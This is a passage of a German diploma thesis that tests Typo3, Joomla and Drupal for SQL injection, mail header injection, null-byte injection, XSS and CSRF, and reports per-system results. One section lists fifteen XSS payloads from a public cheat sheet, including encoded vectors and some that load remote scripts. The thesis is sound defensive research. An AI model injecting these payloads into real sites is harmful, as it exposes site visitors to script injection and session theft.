Page 76: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

67

• GET

• POST

• COOKIE

• HEADER

Folgende Zeichenkombinationen werden getestet:

• einfaches Anführungszeichen: ’

• doppeltes Anführungszeichen: "

• Apostroph 1: ´

• Apostroph 2: ‘

Werden Zeichen nicht escaped, wird eine Fehlermeldung ausgegeben. Dannbesteht die Gefahr einer SQL-Injection. Zusätzlich werden die Zeichen dezimal-und hexadezimal codiert. Nimmt ein System z.B. eine Dekodierung nach demEscapen vor, besteht ebenfalls die Gefahr einer Injection. Ebenfalls werden rele-vante PHP-Dateien in einem Editor per Hand auf Gefahren untersucht.

5.2.2.2 Header-Injections

Alle drei Systeme versenden nach gewissen Benutzeraktionen E-Mails (z.B. nachAbsenden eines Kontaktformulars). Werden die Benutzereingaben nicht über-prüft, besteht die Gefahr einer Header-Injection. Deshalb werden über die jewei-ligen Kontaktformulare Zeichen übermittelt, die eine Header-Injections auslösenkönnen:

• \n

• \r

Diese Zeichen können in Kombination mit anderen Konstrukten Header-Injectionsauslösen.

5.2.2.3 NULL-Byte-Injections

Für den Fall, dass ein geprüftes System dynamische includes() vornimmt,die vom Benutzer übergebene Werte in den Dateinamen übernehmen, wird dasSystem auf NULL-Byte-Injections geprüft.

Page 77: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

68

5.2.2.4 Cross-Site Scripting

Da XSS eine der gefährlichsten Sicherheitslücken in Webanwendungen darstellt,wird jedes System mehrfach auf verschiedene Arten von XSS geprüft. Um dieSicherheit und eventuell vorhandene Filter zu testen, werden verschiedene XSS-Konstrukte getestet. Diese werden unter anderem auch Dezimal- und Hexadezi-mal kodiert. Insgesamt werden 15 verschiedene XSS-Konstrukte getestet, die jenach Filter und Browser unterschiedliche Ergebnisse hervorbringen.

XSS Test 1:<script>alert(’XSS!’)</script>

XSS Test 2:<IMG SRC="javascript:alert(’XSS’);">

XSS Test 3:<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

XSS Test 4:<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;

&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#39;&#88;&#83;&#83;&#39;&#41;>

XSS Test 5:<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115

&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058

&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040

&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

XSS Test 6:<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70

&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53

&#x53&#x27&#x29>

XSS Test 7:<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

XSS Test 8:<BODY onload!#$%&()*~+-_.,:;?@[/\]^‘=alert("XSS")>

Page 78: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

69

XSS Test 9:<<SCRIPT>alert("XSS");//<</SCRIPT>

XSS Test 10:<IMG SRC="javascript:alert(’XSS’)"

XSS Test 11:</TITLE><SCRIPT>alert("XSS");</SCRIPT>

XSS Test 12:<BODY ONLOAD=alert(’XSS’)>

XSS Test 13:<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/

xssmoz.xml#xss")}</STYLE>

XSS Test 14:<STYLE>li {list-style-image: url("javascript:

alert(’XSS’)");}</STYLE><UL><LI>XSS

XSS Test 15:’;alert(String.fromCharCode(88,83,83))//\’;

alert(String.fromCharCode(88,83,83))//";

alert(String.fromCharCode(88,83,83))//\";

alert(String.fromCharCode(88,83,83))//--></SCRIPT>">’>

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Die Tests wurden aus dem XSS Cheat Sheet4 übernommen.

5.2.2.5 Cross-Site Request Forgery

Ob ein System gegen CSRF geschützt ist, lässt sich sehr einfach erkennen. Meistwird an die URL ein Token mit einem Hash-Wert angehängt. In Formularen findetsich dieser Token oft in versteckten Feldern. Fehlt dieser Token, ist das Systemnicht gegen CSRF geschützt.

Da sich die einzelnen Systeme funktional voneinander unterscheiden, könnennur individuelle Tests vorgenommen werden. Folgende Bereiche werden mit den

4vgl. [RSNAKE 2009]

Page 79: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

70

Tests abgedeckt:

• forcierter Logout

• gefälschte URL- und Formularübergaben

Um die Tests durchzuführen wird eine Testwebseite angelegt. Nur durch dasBetreten dieser Seite werden anschließend Requests im Namen des eingelogg-ten Benutzers ausgeführt. Es ist keine Aktion des Benutzers nötig.

5.3 Typo3

Von den hier getesteten Content-Management-Systemen stellt Typo3 das um-fangreichste System dar. Konzipiert ist Typo3 für mittlere bis große Webseiten.Typo3 wurde 1998 von Kasper Skårhøj entwickelt und veröffentlicht5 und steht un-ter GNU GPL-Lizenz6. Mittlerweile wird Typo3 von einer größeren Gemeinschaftweiterentwickelt. Es existieren zahlreiche Module, mit denen die Funktionen vonTypo3 erweitert werden können. Diese Module werden sowohl offiziell von Typo3herausgegeben als auch von Dritten.

5.3.1 Konfiguration

Typo3 liegt in der Version 4.2.5 mit dem neuesten Update vor. Als Extensionskommen ’Static Info Tables’7, ’TemplaVoila!’8 und ’Modern Guestbook / Commen-ting system’9 zum Einsatz.

5.3.2 Softwarekern

Der Softwarekern von Typo3 stellt die Grundlegenden Funktionen von Typo3 be-reit. Dazu gehören unter anderem das Aufrufen von den jeweils angelegten Sei-ten, ein Login für den Frontend-Benutzer, aber auch eine Suche, mit deren Hilfeein Benutzer Informationen schnell finden kann. Um den Softwarekern von Typo3zu testen, werden diese drei Funktionen getestet, da sie in jeder Typo3 Installationenthalten sind und so immer ein Risiko darstellen, falls in einer dieser Funktioneneine Sicherheitslücke enthalten ist.

5vgl. [TYPO3 2008]6vgl. [GNU 2009]7vgl. [FRITZ 2008]8vgl. [DULEPOV 2008]9vgl. [VON EYNERN 2008]

Page 80: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

71

5.3.2.1 SQL-Injections

Die in 5.2.2.1 beschriebenen Tests werden wie dort angegeben durchgeführt. Dienachfolgende Tabelle zeigt die Ergebnisse der verschiedenen Tests.

Abbildung 5.1: Typo3-Kern SQL-Injection Testresultat

Wie der Test zeigt, ist der Softwarekern von Typo3 in der aktuellen Version ge-gen SQL-Injections abgesichert. Als sicherndes Element kommt unter anderemdie Datei class.t3lib_db.php10 zum Einsatz. Sie stellt die Funktion quoteStrzur Verfügung, die dazu verwendet werden muss, Zeichenketten zu escapen, be-vor diese in einer Datenbankabfrage verwendet werden. Die Funktion wird unteranderem in der Datei class.tslib_content.php11 verwendet, die für Teileder Hauptfunktionen genutzt wird. Die Funktion wird ebenfalls in der Suche ver-wendet12.

5.3.2.2 Header-Injections

Typo3 versendet unter anderem über Kontaktformulare E-Mails an Benutzer, Re-dakteure und Administratoren. Um diese Funktion zu testen, werden wie in 5.2.2.2beschrieben, verschiedene Sonderzeichen in ein Kontakt-Formular eingegeben.

Abbildung 5.2: Typo3-Kern Header-Injection Testresultat

10Pfad: typo3/t3lib/class.t3lib_db.php, Zeile 606ff11Pfad: typo3/t3lib/ class.tslib_content.php, Zeile 6697ff12Pfad: typo3/t3lib/class.tslib_search.php, Zeile 388

Page 81: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

72

Der Test hat gezeigt, dass Typo3 gegen Mail-Header-Injections gesichert istund so ein Angreifer den Typo3-Kern nicht für den Versand von Spam nutzenkann.

5.3.2.3 NULL-Byte-Injections

Da die getesteten Typo3-Funktionen keine dynamischen include()-Anweisungenmit Benutzerwerten durchführen, muss dieser Test nicht durchgeführt werden.

Page 82: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

73

5.3.2.4 Cross-Site Scripting

Der Cross-Site Scripting Test wird einmal im Suchfeld und einmal für den Logindurchgeführt, da Typo3 so konfiguriert wurde, dass der Suchbegriff dem Benutzerin der Ergebnisliste noch einmal angezeigt wird. Bei einem fehlerhaften Login wirdebenfalls der Benutzername im Loginfeld erneut angezeigt.

Abbildung 5.3: Typo3-Kern XSS Testergebnis

Der Typo3 Kern war gegen kein XSS-Konstrukt des Tests anfällig. Sämtlichepotenziell gefährliche Zeichen werden in ihre jeweilige HTML-Entität umgewan-delt.

Page 83: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

74

5.3.2.5 Cross-Site Request Forgery

Um die CSRF-Tests durchführen zu können, wurde speziell für die Typo3-Installationeine Webseite erstellt, von der die falschen Requests im Namen eines angemel-deten Benutzers durchgeführt werden. Nur durch das Betreten dieser Webseite,führt der Benutzer eine Aktion aus, ohne davon zu wissen.

Abbildung 5.4: Typo3-Kern Header-Injection Testresultat

Da die vorliegende Testversion von Typo3 für keine weiteren Benutzeraktionenkonfiguriert wurde, die für CSRF-Angriffe verwendet werden können, musste sichder Test auf die o.g. zwei Aktionen beschränken (im Kapitel 5.3.3 wird allerdingsnoch ein CSRF-Angriff auf eine Extension durchgeführt). Diese Aktionen warenallerdings beide erfolgreich. Durch das Fehlen eines Tokens in der URL und ineinem versteckten Feld des Formulars werden die Angriffe ermöglicht.

5.3.3 Extensions

Für Typo3 existieren mehrere Hundert Extensions, die entweder direkt von Typo3aber auch von Dritten erhältlich sind. Alle Extensions zu testen, würde den Rah-men dieser Ausarbeitung sprengen. Aus diesem Grund wurde die sehr populäreExtension ’ve_guestbook’13 für den Test ausgewählt, die schon über hunderttau-send Mal von der Typo3 Seite heruntergeladen wurde.

5.3.3.1 SQL-Injections

Wie auch bei dem Test des Typo3-Kerns werden verschiedene Sonderzeichen

Abbildung 5.5: Typo3-Extension SQL-Injection Testresultat

13Version 2.7.1

Page 84: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

75

Das ’ve_guestbook’-Formular enthält verschiedene Felder, die ein Benutzerausfüllen muss, um einen Kommentar auf der Webseite zu hinterlassen. Alle die-se Felder wurden mit den in 5.2.2.1 beschriebenen Sonderzeichen versehen. Eserfolgte keine SQL-Injection.

5.3.3.2 Header-Injections

Da ’ve_guestbook’ keine E-Mails an Benutzer versendet, muss dieser Test nichtdurchgeführt werden.

5.3.3.3 NULL-Byte-Injections

’ve_guestbook’ nutzt keine include()-Anweisung mit Werten die vom Benutzerübergeben wurden, deshalb muss auch dieser Test nicht durchgeführt werden.

Page 85: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

76

5.3.3.4 Cross-Site Scripting

Um zu testen, ob ’ve_guestbook’ hinreichend gegen XSS geschützt ist, werdendie in 5.2.2.4 beschriebenen Konstrukte in die sämtliche Felder des Formularseingegeben.

Abbildung 5.6: Typo3-Extension XSS Testresultat

Bei diesem Test konnte keine XSS-Attacke erfolgreich ausgeführt werden. In’ve_guestbook’ ist eine Whitelist enthalten, die nur vom Administrator erlaubteHTML-Tags zulässt.

Page 86: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

77

5.3.3.5 Cross-Site Request Forgery

Schon auf den ersten Blick ist zu sehen, dass ’ve_guestbook’ gegen CSRF-Angriffe geschützt ist. Um einen Kommentar abzusetzen, muss der Benutzervorher ein CAPTCHA ausfüllen. Da sich dieses CAPTCHA bei jedem Seiten-aufruf verändert, hat ein Angreifer keine Möglichkeit, einen Request im Namendes Benutzers abzusetzen. Die CAPTCHA Funktion ist allerdings nicht zwingenderforderlich, ’ve_guestbook’ kann auch ohne diese Funktion betrieben werden.Dann besteht allerdings wie bei anderen Formularen auch, die Gefahr von CSRF-Attacken auf die Extension. Die CAPTCHA-Funktion sollte deshalb in jeden Fallaktiviert werden.

5.3.4 Administrations-Backend

Das Administrations-Backend von Typo3 erlaubt dem Administrator die komplet-te Kontrolle über die Software. Ein Angreifer hat keinen direkten Zugriff auf dasBackend, könnte aber die Loginfelder für eine SQL-Injection nutzen, falls dieseunzureichend gesichert sind. Ein Angreifer kennt ebenfalls die Struktur des Ba-ckend, da dieses bei jeder Typo3-Installation, bis auf verschiedene Extensions,gleich ist. Deshalb wird das Backend auf SQL-Injections und CSRF getestet.

5.3.4.1 SQL-Injections

Um das Loginformular auf SQL-Injections zu testen, wurden die in 5.2.2.1 be-schriebenen Sonderzeichen eingegeben.

Abbildung 5.7: Typo3-Backend SQL-Injection Testresultat

Wie der Test zeigt, ist der Login des Backends gegen SQL-Injections gesichert.

Page 87: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

78

5.3.4.2 Cross-Site Request Forgery

Abbildung 5.8: Typo3-Backend CSRF Testresultat

Wie schon im Frontend konnte der angemeldete Administrator ohne Problemeaus dem Administrations-Backend ausgeloggt werden. Das Anlegen eines neuenBenutzers war jedoch nicht erfolgreich.

Page 88: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

79

5.3.5 Sicherheitslücken in der Vergangenheit

Typo3 hat in der Vergangenheit zahlreiche Sicherheitslücken gezeigt. Sehr vie-le Risiken sind auf fehlerhaft programmierte Extensions zurückzuführen. SQL-Injections und XSS sind dort am meisten vertreten. Doch auch der bislang alssicher geglaubte Softwarekern von Typo3 hat vor kurzer Zeit eine schwere Sicher-heitslücke gezeigt14. Über Teile der Suchfunktion konnten SQL-Injections ausge-führt werden, so dass der Angreifer die volle Kontrolle über die Software erlan-gen konnte. Da Updates zeitlich oft Angriffen hinterherhängen, wurden zahlreicheWebseiten Opfer des Angriffs, darunter auch recht prominente. So wurde bei-spielsweise die Webseite von Bundesinnenminister Dr. Wolfgang Schäuble vonAngreifern verändert15.

Abbildung 5.9: Veränderte Webseite von Bundesinnenminister Dr. Wolfgang Schäuble16

14vgl. [TYPO3 2009(2)]15vgl. [SCHMIDT 2009]16vgl. [HEISE 2009]

Page 89: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

80

5.3.6 Ergebnis

Wie der Test gezeigt hat, ist Typo3 als weitgehend sicher einzustufen, wennbekanntere Angriffsmuster betrachtet werden. Allerdings zeigen die Sicherheits-lücken aus der jüngsten Vergangenheit auch, dass selbst der für sicher befunde-ne Kern von Typo3 anfällig für Angriffe war. Ebenfalls muss beachtet werden, dassdurch die große Anzahl von Extensions immer die Gefahr besteht, dass Lückenin verschiedenen Erweiterungen auftauchen. In Typo3 besteht, wie in sehr vie-len anderen Anwendungen auch, die Gefahr von CSRF. CSRF-Angriffe könnenharmlos verlaufen, ein simpler Logout eines Benutzers gefährdet noch nicht dieIntegrität der Software. Allerdings können auch weitaus extremere Angriffe er-folgen, wie z.B. das massenhafte Absetzen von Foreneinträgen. Vielen Program-mierern ist CSRF noch unbekannt oder wird von ihnen unterschätzt, weshalb hiernoch großer Nachholbedarf besteht.

5.4 Joomla

Neben Typo3 ist Joomla eines der bekanntesten Content-Management-Systemen.Joomla ging aus dem CMS Mambo hervor, nachdem es zwischen der Firma undden Entwicklern Streitigkeiten gab. Der Mambo-Kern wurde übernommen undging in Joomla 1.0 auf. Kurze Zeit später entschlossen sich die Entwickler jedochdazu, Joomla von Grund auf neu zu entwickeln. Im Januar 2008 wurde schließlichdie Version 1.5 veröffentlicht. Joomla steht unter der GNU GPL-Lizenz17 und istdamit Open-Source Software. Wie auch bei Typo3 existieren zahlreiche Erweite-rungen, um Joomla zusätzliche Funktionen hinzuzufügen.

5.4.1 Konfiguration

Joomla wurde in der Standardkonfiguration inkl. mitgelieferten Beispielseiten in-stalliert. Als Extension kommt das populäre Gästebuch ’Easybook’18 zum Einsatz.

5.4.2 Softwarekern

Wie auch bei Typo3, stellt der Softwarekern von Joomla die grundlegenden Funk-tionen bereit. Dazu gehören unter anderem das Aufrufen von den jeweils ange-legten Seiten, ein Login für den Frontend-Benutzer, aber auch eine Suche, mit

17vgl. [GNU 2009]18vgl. [EASY 2008]

Page 90: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

81

deren Hilfe ein Benutzer Informationen schnell finden kann. Auch bei Joomla wer-den diese Funktionen verschiedenen Tests unterzogen.

5.4.2.1 SQL-Injections

Die in 5.2.2.1 beschriebenen Tests werden wie dort angegeben durchgeführt. Dienachfolgende Tabelle zeigt die Ergebnisse der verschiedenen Tests.

Abbildung 5.10: Joomla-Kern SQL-Injection Testergebnis

Wie der Test zeigt, ist auch der Softwarekern von Joomla in der aktuellen Ver-sion gegen SQL-Injections gesichert. Um Zeichenketten für Datenbankabfragenaufzubereiten, wird die Funktion mysql_real_escape_string verwendet, dieüber die Funktion getEscaped aufgerufen wird19.

5.4.2.2 Header-Injections

Joomla versendet unter anderem über Kontaktformulare E-Mails an Benutzer,Redakteure und Administratoren. Um diese Funktion zu testen, werden wie in5.2.2.2 beschrieben, verschiedene Sonderzeichen in ein Kontakt-Formular ein-gegeben.

Abbildung 5.11: Joomla-Kern Header-Injection Testergebnis

Der Test hat gezeigt, dass Joomla gegen Mail-Header-Injections gesichert istund so ein Angreifer den Joomla-Kern nicht für den Versand von Spam nutzen19Pfad: libraries/joomla/database/database/mysql.php, Zeile 191ff

Page 91: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

82

kann.

5.4.2.3 NULL-Byte-Injections

Da die getesteten Joomla-Funktionen keine dynamischen include()-Anweisungenmit Benutzerwerten durchführen, muss dieser Test nicht durchgeführt werden.

Page 92: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

83

5.4.2.4 Cross-Site Scripting

Der Cross-Site Scripting Test wird bei Joomla ausschließlich im Suchfeld durch-geführt, da andere Formulare den eingegebenen Begriff nach Absenden des For-mulars nicht erneut anzeigen.

Abbildung 5.12: Joomla-Kern XSS Testergebnis

Der vorliegende Test zeigt, dass der Kern von Joomla gegen kein XSS-Konstruktdes Tests anfällig war. Die Datei filterinput.php stellt verschiedene Funktio-nen zur Verfügung, um Zeichenketten zu dekodieren und HTML umzuwandeln20.

20Pfad: libraries/joomla/filter/filterinput.php

Page 93: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

84

5.4.2.5 Cross-Site Request Forgery

Um die CSRF-Tests durchführen zu können, wurde wie auch bei Joomla, speziellfür die Joomla-Installation eine Webseite erstellt, von der die falschen Requestsim Namen eines angemeldeten Benutzers durchgeführt werden. Nur durch dasBetreten dieser Webseite, führt der Benutzer eine Aktion aus, ohne davon zuwissen.

Abbildung 5.13: Joomla-Kern CSRF Testergebnis

Bis auf den forcierten Logout konnte kein CSRF-Angriff erfolgreich durchge-führt werden, da die verwendeten Formulare jeweils einen Token über ein ver-stecktes Feld nutzen.

5.4.3 Extensions

Für Joomla existieren, wie auch für Typo3, mehrere Hundert Extensions, die ent-weder direkt auf der Joomla-Webseite aber auch von Dritten erhältlich sind. AlleExtensions zu testen, würde den Rahmen dieser Ausarbeitung sprengen. Als Ex-tension wurde das populäre ’Easybook’21 für den Test ausgewählt. Es stellt eineGästebuch-Funktion auf der Webseite zur Verfügung.

5.4.3.1 SQL-Injections

Wie auch bei dem Test des Joomla-Kerns werden verschiedene Sonderzeichenin das ’Easybook’-Formular eingegeben.

Abbildung 5.14: Joomla-Extension SQL-Injection Testergebnis

21Version 2.0

Page 94: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

85

Das ’Easybook’-Formular enthält verschiedene Felder, die ein Benutzer aus-füllen muss, um einen Kommentar auf der Webseite zu hinterlassen. Alle dieseFelder wurden mit den in 5.2.2.1 beschriebenen Sonderzeichen versehen. Es er-folgte keine SQL-Injection.

5.4.3.2 Header-Injections

Da ’Easybook’ keine E-Mails an Benutzer versendet, muss dieser Test nicht durch-geführt werden.

5.4.3.3 Null-Byte-Injections

’Easybook’ nutzt keine include()-Anweisung mit Werten die vom Benutzerübergeben wurden, deshalb muss auch dieser Test nicht durchgeführt werden.

Page 95: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

86

5.4.3.4 Cross-Site Scripting

Um zu testen, ob ’Easybook’ hinreichend gegen XSS geschützt ist, werden die in5.2.2.4 beschriebenen Konstrukte in die sämtliche Felder des Formulars einge-geben.

Abbildung 5.15: Joomla-Extension XSS Testergebnis

Bei diesem Test konnte keine XSS-Attacke erfolgreich ausgeführt werden. In’Easybook’ ist eine Whitelist enthalten, die nur vom Administrator erlaubte HTML-Tags zulässt.

Page 96: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

87

5.4.3.5 Cross-Site Request Forgery

Schon auf den ersten Blick ist zu sehen, dass ’Easybook’ gegen CSRF-Angriffegeschützt ist. Um einen Kommentar abzusetzen, muss der Benutzer vorher einCAPTCHA ausfüllen. Da sich dieses CAPTCHA bei jedem Seitenaufruf verän-dert, hat ein Angreifer keine Möglichkeit, einen Request im Namen des Benutzersabzusetzen.

5.4.4 Administrations-Backend

Das Administrations-Backend von Joomla erlaubt dem Administrator, wie auchschon bei Typo3, die komplette Kontrolle über die Software. Ein Angreifer hatkeinen direkten Zugriff auf das Backend, könnte aber die Loginfelder für eineSQL-Injection nutzen, falls diese unzureichend gesichert sind. Ein Angreifer kenntebenfalls die Struktur des Backend, da dieses bei jeder Installation, bis auf ver-schiedene Extensions, gleich ist. Deshalb wird das Backend auf SQL-Injectionsund CSRF getestet.

5.4.4.1 SQL-Injections

Um das Loginformular auf SQL-Injections zu testen, wurden die in 5.2.2.1 be-schriebenen Sonderzeichen eingegeben.

Abbildung 5.16: Joomla-Backend SQL-Injection Testergebnis

Der Test hat gezeigt, dass der Login des Backends gegen SQL-Injections ab-gesichert ist.

5.4.4.2 Cross-Site Request Forgery

Abbildung 5.17: Joomla-Backend SQL-Injection Testergebnis

Page 97: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

88

Wie schon im auf der Webseite, konnte der angemeldete Administrator ohneProbleme aus dem Administrations-Backend ausgeloggt werden. Angriffe auf dasBackend waren jedoch nicht erfolgreich, da die Formulare verschiedene Tokennutzen.

5.4.5 Sicherheitslücken in der Vergangenheit

Joomla zeigte sich in der Vergangenheit, wie auch Typo3, anfällig für Angriffe. Oftwaren Extensions fehlerhaft und bildeten so ein Einfallstor für Angreifer22. Aberauch der Typo3-Kern war in der Vergangenheit unzureichend gegen verschiede-ne Angriffe gesichert. So konnte ein Angreifer über eine fehlerhafte Password-Reset-Funktion das Passwort des ersten angelegten Accounts ändern23. Da die-ser Account oft der das Administrators ist, konnte ein Angreifer so die Kontrolleüber das gesamte System erlangen.

5.4.6 Ergebnis

Wie der Test gezeigt hat, ist Joomla als weitgehend sicher einzustufen, wennbekanntere Angriffsmuster betrachtet werden. Allerdings zeigen die Sicherheits-lücken aus der jüngsten Vergangenheit auch, dass nur geprüfte Extensions ver-wendet werden sollten, da gerade dort die Quote an Risiken sehr hoch ist. Erfreu-licherweise wurde sowohl beim CMS und beim Administrationsmenü auf CSRF-Schutz wert gelegt. Bis auf einen forcierten Logout, können dem Benutzer keineRequests untergeschoben werden.

5.5 Drupal

Drupal gehört mit Typo3 und Joomla wohl zu den bekanntesten Content-Management-Systemen. Drupal ist Open-Source Software und steht, wie auch Typo3 und Joom-la, unter der GNU GPL-Lizenz24. Anders als viele reine Redaktionssysteme be-sitzt Drupal Funktionen, um Social Networks aufzubauen. So können registrier-te Benutzer unter anderem eigene Blogs anlegen und eigene Inhalte veröffent-lichen. Drupal liegt aktuell in der Version 6.11 vor und wird von einer großenCommunity stetig weiterentwickelt. Für Drupal gibt es ebenfalls Erweiterungen,die die Software mit neuen Funktionen versieht.

22vgl. [JOOMLA 2008]23vgl. [JOOMLA 2008(2)]24vgl. [GNU 2009]

Page 98: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

89

5.5.1 Konfiguration

Drupal liegt in der Version 5.6 vor. Die Module ’Forum’ und ’Comment’ und ’Su-che’ wurden aktiviert, damit Benutzer Kommentare auf der Webseite hinterlassenkönnen und das System durchsucht werden kann.

5.5.2 Softwarekern

Der Softwarekern von Drupal stellt, wie bei Typo3 und Joomla, die grundlegendenFunktionen bereit. Dazu gehören unter anderem das Aufrufen von den jeweilsangelegten Seiten, ein Login für den Frontend-Benutzer, aber auch eine Suche,mit deren Hilfe ein Benutzer Informationen schnell finden kann.

5.5.2.1 SQL-Injections

Die in 5.2.2.1 beschriebenen Tests werden wie dort angegeben durchgeführt. Dienachfolgende Tabelle zeigt die Ergebnisse der verschiedenen Tests.

Abbildung 5.18: Drupal-Kern SQL-Injection Testergebnis

Die Tests haben gezeigt, dass der Softwarekern von Drupal in der vorliegen-den Version gegen SQL-Injections abgesichert ist. Um Zeichenketten für Daten-bankabfragen aufzubereiten, wird die Funktion mysql_real_escape_string

verwendet, die über die Funktion db_escape_string aufgerufen wird25.

5.5.2.2 Header-Injections

Drupal versendet unter anderem über Kontaktformulare E-Mails an Benutzer,Redakteure und Administratoren. Um diese Funktion zu testen, werden, wie in

25Pfad: includes/database.mysql.inc, Zeile 398ff

Page 99: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

90

5.2.2.2 beschrieben, verschiedene Sonderzeichen in ein Kontakt-Formular ein-gegeben.

Abbildung 5.19: Drupal-Kern Header-Injection Testergebnis

Der Test hat gezeigt, dass Drupal gegen Mail-Header-Injections gesichert istund so ein Angreifer den Drupal-Kern nicht für den Versand von Spam nutzenkann.

5.5.2.3 Null-Byte-Injections

Da die getesteten Drupal-Funktionen keine dynamischen include()-Anweisungenmit Benutzerwerten durchführen, muss dieser Test nicht durchgeführt werden

Page 100: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

91

5.5.2.4 Cross-Site Scripting

Der Cross-Site Scripting Test wird bei Drupal im Loginformular sowie im Suchfelddurchgeführt, da beide Formulare den eingegebenen Begriff nach Absenden desFormulars erneut anzeigen.

Abbildung 5.20: Drupal-Kern XSS Testergebnis

Der vorliegende Test zeigt, dass der Kern von der vorliegenden Drupal-Versiongegen kein XSS-Konstrukt des Tests anfällig ist.

Page 101: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

92

5.5.2.5 Cross-Site Request Forgery

Um die CSRF-Tests durchführen zu können, wurde wie auch bei Typo3, speziellfür die Joomla-Installation eine Webseite erstellt, von der die falschen Requestsim Namen eines angemeldeten Benutzers durchgeführt werden. Nur durch dasBetreten dieser Webseite führt der Benutzer eine Aktion aus, ohne davon zu wis-sen.

Abbildung 5.21: Drupal-Kern CSRF Testergebnis

Bis auf den forcierten Logout konnte kein CSRF-Angriff erfolgreich durchge-führt werden, da die verwendeten Formulare jeweils einen Token über ein ver-stecktes Feld nutzen.

5.5.3 Extensions

